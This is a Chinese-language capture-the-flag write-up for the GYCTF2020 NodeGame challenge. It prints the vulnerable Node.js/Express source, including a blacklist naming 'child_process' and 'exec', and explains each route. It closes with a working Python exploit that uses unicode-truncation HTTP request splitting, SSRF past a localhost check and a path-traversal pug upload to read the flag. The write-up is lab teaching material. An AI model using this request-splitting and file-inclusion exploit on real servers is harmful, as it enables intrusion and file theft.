[GYCTF2020]NodeGame-nodejs

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');

app.use(multer({ dest: './dist' }).array('file'));
app.use(morgan('short'));
app.use("/uploads", express.static(path.join(__dirname, '/uploads')));
app.use("/template", express.static(path.join(__dirname, '/template')));

app.get('/', function(req, res) {
var action = req.query.action ? req.query.action : "index";
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
return;
}
var file = path.join(__dirname, '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res) {
var ip = req.connection.remoteAddress;
var obj = { msg: '' };

if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it";
res.send(JSON.stringify(obj));
return;
}

fs.readFile(req.files[0].path, function(err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname;
var dir_file = __dirname + file_path + file_name;

if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path);
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return;
}
}

try {
fs.writeFileSync(dir_file, data);
obj = { msg: 'upload success', filename: file_path + file_name };
} catch (error) {
obj.msg = 'upload failed';
}

res.send(JSON.stringify(obj));
}
});
});

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname, '/template/source.txt'));
});

app.get('/core', function(req, res) {
var q = req.query.q;

if (q) {
var url = 'http://localhost:8081/source?' + q;
console.log(url);

var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');

resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
var resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
});

function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;

for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
return false;
}

var server = app.listen(8081, function() {
var host = server.address().address;
var port = server.address().port;
console.log("Example app listening at http://%s:%s", host, port);
});
1
var fs = require('fs');    //导入必要的模块
1
app.use(multer({dest: './dist'}).array('file'));//设置MUlter来处理文件上传,将文件临时保存道./dist目录中。

四条路线:

路线一(/):

1
2
3
4
5
6
7
8
9
app.get('/', function(req, res) {
var action = req.query.action ? req.query.action : "index";
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});

第 1行:定义根的路由 ( /)。它检查是否存在查询参数 ( action);如果不存在,则默认为"index"

第 2行:检查操作是否包含/\(表示可能的路径遍历尝试)。如果发现,则阻止该请求。

第 3-6 行:根据值构造 Pug 模板的文件路径action并呈现文件。呈现的 HTML 作为响应发送。

路线二(/file_upload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
app.post('/file_upload', function(req, res) {
var ip = req.connection.remoteAddress;
var obj = { msg: '' };
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it";
res.send(JSON.stringify(obj));
return;
}
fs.readFile(req.files[0].path, function(err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname;
var dir_file = __dirname + file_path + file_name;
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path);
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return;
}
}
try {
fs.writeFileSync(dir_file, data);
obj = { msg: 'upload success', filename: file_path + file_name };
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
});
});

定义一个 POST 路由(/file_upload),用于处理文件上传。

检索客户端的 IP 地址。

检查 IP 地址是否包含127.0.0.1。如果不包含,则阻止请求,仅允许本地主机访问。

读取上传的文件并根据其 mimetype 进行存储。如果该文件类型的目录不存在,则创建一个。然后将文件写入适当的位置。

如果在文件读取或写入过程中发生任何错误,则会以 JSON 形式发送相应的错误消息。

路线三(/source):

1
2
3
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});

定义一个路由 ( /source),从目录中提供静态文件 ( source.txt) /template

路线四(/core):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q;
console.log(url);
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
});

/core定义一个接受查询参数()的路由( ) q

使用构造一个 URL q,并根据可能表明恶意的关键字黑名单进行检查。

如果黑名单检查通过,它会对构造的 URL 执行 HTTP GET 请求并返回响应。否则,它会发送错误消息。

blacklist函数功能:

1
2
3
4
5
6
7
8
9
10
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
}

用于检查 URL 是否包含与潜在恶意行为相关的任何关键字。如果发现任何关键字,则返回true

nodejs在版本号小于8.x的时候存在unicode字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是buu上的这个题并没有说版本),简单来说就是Unicode在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2

构造:

1
2
所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板

参考脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: f
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
X-Forwarded-For: 127.0.0.1
Connection: keep-alive

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: f
Connection: close
f:'''
payload = payload.format(len(body)+10,body)+more
print(payload)
payload = payload.replace("\n", "\r\n")

payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(' ')
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)